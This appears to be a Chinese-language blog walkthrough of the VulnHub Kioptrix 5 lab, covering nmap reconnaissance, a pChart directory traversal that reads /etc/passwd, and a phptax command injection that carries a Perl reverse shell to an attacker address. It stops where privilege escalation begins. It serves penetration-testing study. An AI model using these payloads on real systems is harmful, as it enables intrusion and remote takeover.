Kioptrix-5

最新推荐文章于 2024-01-02 13:27:01 发布

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最新推荐文章于 2024-01-02 13:27:01 发布

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分类专栏： Vulnhub 文章标签：网络安全安全学习 web安全安全威胁分析

本文链接：https://blog.csdn.net/weixin_44770698/article/details/135334999

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本文描述了在网络安全环境中进行渗透测试的过程，包括网络配置、使用Nmap进行信息收集、检测到Apache和PHP服务漏洞，特别是目录遍历和远程代码执行，以及后续的提权尝试和FreeBSD权限提升漏洞的利用。

摘要由CSDN通过智能技术生成

环境搭建

将原来的网络适配器删除掉，重新配置一个即可！

靶场下载地址：Kioptrix: 2014 (#5) ~ VulnHub

信息收集

nmap -sn 192.168.1.0/24 -oN live.port

发现存活主机为192.168.1.159，探测开放的端口信息：

# nmap -sT --min-rate 10000 -p- 192.168.1.159 -oN port.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-31 11:15 CST
Nmap scan report for 192.168.1.159
Host is up (0.0056s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE  SERVICE
22/tcp   closed ssh
80/tcp   open   http
8080/tcp open   http-proxy
MAC Address: 00:0C:29:35:B2:6F (VMware)

开放端口三个，分别是22 80 和8080端口，下面进行服务的详细信息探测：

# nmap -sT -sC -sV -O -p80,22,8080 192.168.1.159 -oN details.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-31 11:15 CST
Nmap scan report for 192.168.1.159
Host is up (0.00062s latency).

PORT     STATE  SERVICE VERSION
22/tcp   closed ssh
80/tcp   open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
|_http-title: Site doesn't have a title (text/html).
8080/tcp open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
MAC Address: 00:0C:29:35:B2:6F (VMware)
Aggressive OS guesses: FreeBSD 9.3-RELEASE (89%), Vonage V-Portal VoIP adapter (89%), Cisco C370 Email Security Appliance (AsyncOS 8.0.1) (87%), Polycom SoundPoint IP 331 VoIP phone (87%), Orange Livebox wireless DSL router or Sagem F@st 334 or 3304 DSL router (86%), Sagem F@st 3302 DSL router (86%), FreeBSD 7.0-RELEASE (85%), FreeBSD 7.1-PRERELEASE 7.2-STABLE (85%), FreeBSD 7.2-RELEASE - 8.0-RELEASE (85%), m0n0wall 1.8.1 (FreeBSD 8.4) (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

收集到的信息为：Apache 2.2.21 php5.3.8

# Nmap 7.94 scan initiated Sun Dec 31 11:16:19 2023 as: nmap -sT --script=vuln -p80,22,8080 -oN vuln.nmap 192.168.1.159
Nmap scan report for 192.168.1.159
Host is up (0.00030s latency).

PORT     STATE  SERVICE
22/tcp   closed ssh
80/tcp   open   http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
8080/tcp open   http-proxy
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:35:B2:6F (VMware)

漏洞脚本信息探测的结果没什么有价值的信息，直接尝试在80端口上寻找突破点

渗透测试

尝试访问80端口上的服务：

看看源码信息，

注释中存在一个链接！尝试进行访问：

能看到很多的源码信息，这个pChart不知道是否存在相关的漏洞，尝试利用searchsploit进行搜索，看是否能得到有用的信息：

版本信息也对上了，存在多种漏洞，下载漏洞文件看一下都存在什么漏洞！

看到存在一个漏洞是目录遍历！尝试一下（XSS一般来说利用起来比较麻烦，所以这里的优先级拍后）

#利用已知的payload，进行尝试:
http://192.168.1.159/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd

确实利用成功了，接下来呢？我们尝试去做一下目录的爆破，看看能不能收集到相关的文件，利用目录遍历漏洞进行源码的读取！

尝试读取apache的相关配置文件：

默认错误日志文件：/var/log/httpd-error.log
默认访问日志文件：/var/log/httpd-access.log
默认的suexec日志(如果使用suexec编译)：/var/log/httpd-suexec.log
默认配置文件目录：/usr/local/etc/apache22 /和/usr/local/etc/apache22/extra /
默认配置文件：/usr/local/etc/apache22/httpd.conf

在配置文件的最下面发现了相关配置：

设置了UA，利用给出来的UA信息，尝试访问8080端口上的服务：

给出来了一个路径：phptax！

尝试进行点击之后，还是禁止访问！然后还是利用phptax搜索相关的漏洞，发现存在远程代码执行漏洞！

起msf，尝试漏洞的利用！

但是msf已知无法上线，不知道什么原因：

尝试手动利用！利用上面用searchsploit搜索出来的21665漏洞详情进行手动测试！

然后利用bp进行测试：

/phptax/drawimage.php?pfilez=xxx;perl+-e+'use+Socket%3b$i%3d"192.168.1.60"%3b$p%3d4444%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">%26S")%3bopen(STDOUT,">%26S")%3bopen(STDERR,">%26S")%3bexec("/bin/sh+-i")%3b}%3b'&pdf=make

拿到shell之后便来到了提权的阶段！